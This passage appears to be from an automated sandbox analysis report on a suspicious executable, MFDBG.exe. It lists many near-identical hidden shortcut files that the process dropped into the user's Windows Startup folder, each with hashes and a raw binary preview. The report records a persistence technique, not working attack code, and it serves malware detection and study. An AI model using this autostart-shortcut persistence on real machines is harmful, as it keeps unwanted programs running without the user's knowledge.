File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:15 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9182690052068585
Encrypted:	false
SSDEEP:	24:8NhQBfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NhePEvZ0yRO7DLO2zdxdRd1kyg
MD5:	CCC1203325F65C605A7F02483F6ABB03
SHA1:	36778E896DCE26C09F07B8403117A073BF01E7B4
SHA-256:	17D45482D7B2E38348A38FE0EA0EEF6AE3FE33392DA5796B6C99F5264A7E29C4
SHA-512:	65E50A0E6BD9590CC897B0981C5148A2849221F0EA89BF4A86A0846EE392EB3DD0CC0E4369B8F2C269FFAFBCF0B17E4DF30E485D947269A8A7AD0623F0ECBD9D
Malicious:	false
Preview:	L..................F....".......d...0..&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....JM&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a9f20330644746ada7e09d0e5908a47a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:54 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.91682138877003
Encrypted:	false
SSDEEP:	24:8cBf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8SlEvZ0yRO7DLO2zdxdRd1kyg
MD5:	BB781CC6A9E7C2CF9496A4582D0018B4
SHA1:	E5113DB481DAE4A680915422E6BA0F6CB889BCE4
SHA-256:	317A96824A1770B8108AD2E82364B66BDC7624F2CD272F0A7EDA2B322683870F
SHA-512:	C79D54C084152DD60203FAD53619AE87CF4C66460788CA148CF957B0800EF17B970FEB758535890767112C57281211FC3A17C22381AAC42E79BB0D886BD8A80E
Malicious:	false
Preview:	L..................F....".......d...1.=d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...1.=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a9f58d260e0f45c7939fa7f7bdb97c6c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:57 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928326756627698
Encrypted:	false
SSDEEP:	24:86BftAp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:841FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B272CCE60DF3F87F77CADAEAABA5F8FB
SHA1:	C7A23A305AC34E471A832ED84F945AEF91ED0F7F
SHA-256:	52D7356B74BD932427966C701B0A1273168A60B4BAFD8242C5B01A5F6AE1576A
SHA-512:	C4CD103259C2FD2C2B31F5622C8C22A976DC460351E717439AA7013604564A4F90647310F95ED4CC6E1FF214846580A0C91D33648076AE704C5CB59EA85C8EF7
Malicious:	false
Preview:	L..................F....".......d.....Z.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...vF].d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a9fe575ce50040239577b1f27b3c59d1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.910036746771048
Encrypted:	false
SSDEEP:	24:8DBfx8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8FeEvZ0yRO7DLO2zdxdRd1kyg
MD5:	7B9650C147911776F6FBF83B2E42DB0B
SHA1:	688C48FF29FEBE5098CA8BA3FBCCBACBF227964E
SHA-256:	B40BE77E55360778C0C95D39202EC7D1C4CB071B2E5E565996F4EB36726406FD
SHA-512:	B0665E15B859BE41CCD9F9BE8E1F171CBFB1ADE5B4A866ABABE59139025E08A621EDFCC47102147E222BD4F9E5B303A755E025C2B8AA69F0071B602558F1B04A
Malicious:	false
Preview:	L..................F....".......d......9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_aa0a225d5c5a455a814a5f2e038ee389.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924528712423652
Encrypted:	false
SSDEEP:	24:8YerBfTf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8YeIEvZ0yRO7DLO2zdxdRd1kyg
MD5:	C6B8E88286EBF58FF5BBDF9515A5F936
SHA1:	ECC2CFB8775941A918828ACEBA1DA2791D8C0CCD
SHA-256:	520492B66C3E1E625F230F7D4F2CB66783A72810584446A9EC5526AC9E1FAC16
SHA-512:	56DFCA38C571DFF0CB5A677EB3FB8918D4DEF46E7122FAFFD76A552E6DCD97BBC9F56E5F0A4C8BF4A5DE7F69CC6BDC1FF8EA332C953947018B6ED9384669EC5A
Malicious:	false
Preview:	L..................F....".......d...R.3.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....".d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_aa44b8b76bed407aaf09b16e06fbbcb0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9224454278627725
Encrypted:	false
SSDEEP:	24:8lDBfff8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8HXEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F3840A560F25BCAF465456915D71D004
SHA1:	5989F64C7F02661AE59D0ED2B3279ABED260C699
SHA-256:	E2A9A6EA8226EEF7DB008C225E8DD0E7D755DEA824509C917198238E168CE01C
SHA-512:	C3C0EC579732FB5DA1F87790BC3C7977F2DC10D86A9FE12474B9934BF8F8FCA257FE556A0124327289496124046413E540799518F920C6252E80F61A64F4DA93
Malicious:	false
Preview:	L..................F....".......d...U..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....{..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_aadc4a04b41e478e96e76123c3ead7dd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:30 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917159084250438
Encrypted:	false
SSDEEP:	24:8MBfU98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8C5EvZ0yRO7DLO2zdxdRd1kyg
MD5:	86CAE97D545D29EDE41DA86DF571BD85
SHA1:	BE6E439901EC45909EDD5DFACB361874EDAF3B23
SHA-256:	293C389EF302827B4B8F01982697ECEB84310BA4E53E8E08F0735082D865073B
SHA-512:	E10BA425406F481874870259DD2623E0509D1AE141DB382A0DFAB4DC6C021B01DB11D4064F10C98EC58478408E684B4A0D6B774810CF8CD5C62F079BD2A75601
Malicious:	false
Preview:	L..................F....".......d...$..Sd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Sd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ab0e1a7866a84fdbb3c1ce75a63efd24.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:30 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.91358615250816
Encrypted:	false
SSDEEP:	24:8YBfU98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8W5EvZ0yRO7DLO2zdxdRd1kyg
MD5:	E4AE7460B2BF9D29A9E0F46C43F54F6F
SHA1:	55131E18C2292154EB503536137118AB2904A128
SHA-256:	C595A1C206DB993B1262355AE0CB1F81A8044A904964065285AF69F8E348147E
SHA-512:	404AFC7CB8D24F0D5E15CA4ABFBB05BC56A165394605059DDB1E74378245A06C50FA03D599ACC93C4A167CB3D5053C7A439FDCFF9225F539267E18D4E0233A30
Malicious:	false
Preview:	L..................F....".......d...9%%Sd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Sd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_aba044bbc86c485b95ebec1da7732e6e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:02 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9277317714751065
Encrypted:	false
SSDEEP:	24:8oQBfx+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8BtEvZ0yRO7DLO2zdxdRd1kyg
MD5:	C75CCC7C173C7C011C5FF84AB3F7A0E2
SHA1:	639D87848CCC11B4325C58B2F7FB4223B8EF485A
SHA-256:	38010BEB8437817FF9006D3A199370C32689B6E6AB6B95BB1541F232EBCCB63E
SHA-512:	2AD74576008C9BAAF6D1F0474EF522E71C52A3E1B09A258CA9422DE6953EF67D342A68504B77F12A8F820F7C31DB8DFD3808135CD41E7A8985EFE4C68A3510AB
Malicious:	false
Preview:	L..................F....".......d...'.(.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c..../.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ac472396664e44caaff7f8ec2f606d30.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919637272720157
Encrypted:	false
SSDEEP:	24:8dBfT+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8PLTEvZ0yRO7DLO2zdxdRd1kyg
MD5:	A730680ECB91F56D8032B4DA3626AC88
SHA1:	82C32EB038B3924DBA0665C0DFF393A0F2A96EF7
SHA-256:	395764F2F6C7C53BC75F32BFEA85AAEBF5D34D322F64DFDAB99F6C1E97B8D918
SHA-512:	6F59885302F3A2BCF94DA680D1AF1A5AF5F02585293E8CD180226CEF5A92D10847773846944CE4E39DE0D671E7BB51EB118F88AD22A7FB39D955DE858B482BEB
Malicious:	false
Preview:	L..................F....".......d...J@.9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....iO9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ac6d9c43c25443d48fb06f3b98eec67f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92663475605851
Encrypted:	false
SSDEEP:	24:8mBfq8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8sPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1C30025C1CA5742951B3A85A33ECDC9B
SHA1:	E6C289D8DA9E6F433A3540874F51A80E06767EFF
SHA-256:	335BFF30C5032C439045E095C173D09DD2DAB1CD4B3A8659FDB6D29C968AEAED
SHA-512:	0A329D1018F500478A45FFE399F68BE074C91263E834A5F5473C80112B29A378F614FCD636DC37E4B79B7A3E2BA214C5D4FAA74461D95B413188A7360471EE80
Malicious:	false
Preview:	L..................F....".......d......]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......]d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ad132331281f42acbcf4965280ea9f0b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928652812495033
Encrypted:	false
SSDEEP:	24:8eBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:80BEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1E0A074E3C80E91BB662B3F860F958D3
SHA1:	4259EE74862BB0E41523DAEAC021C586C4F3DCAE
SHA-256:	CEB3FB3E15798B064AAFDA1A724A181B007A9A1A61A8CEC72B76E960955C6459
SHA-512:	58D1283A5CC697AC66FACD1CDF59024278AE8D6CDFBCC91591FD70A1672EF68C94E67B7ACD3078FD93C432421312431CD478170453A5DFAC8C8DDA8DAC510132
Malicious:	false
Preview:	L..................F....".......d......&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ad27d76c850649209970018fbb8d0dcb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:19 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929061969716804
Encrypted:	false
SSDEEP:	24:8bBfWQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NeFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E6F030F20E135542F3EABEE46AC7B030
SHA1:	842902047690CE399488B91CE030788DE69EE314
SHA-256:	E78EA62B19C11A4739B7FEFFDC03CF010A86650D2B9B04307A33CF93275B84CD
SHA-512:	6645D0F194BB375374F8184BEBDEF5128377859B3714A36C658F756399435CDE01E439B74CE9138A8314E88DDB32BED5B08B017F37282BFDE93EE5D0AC1999AE
Malicious:	false
Preview:	L..................F....".......d....@.(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Zi.(d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ad42cf402d6c4b6aa876291c072cd52b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
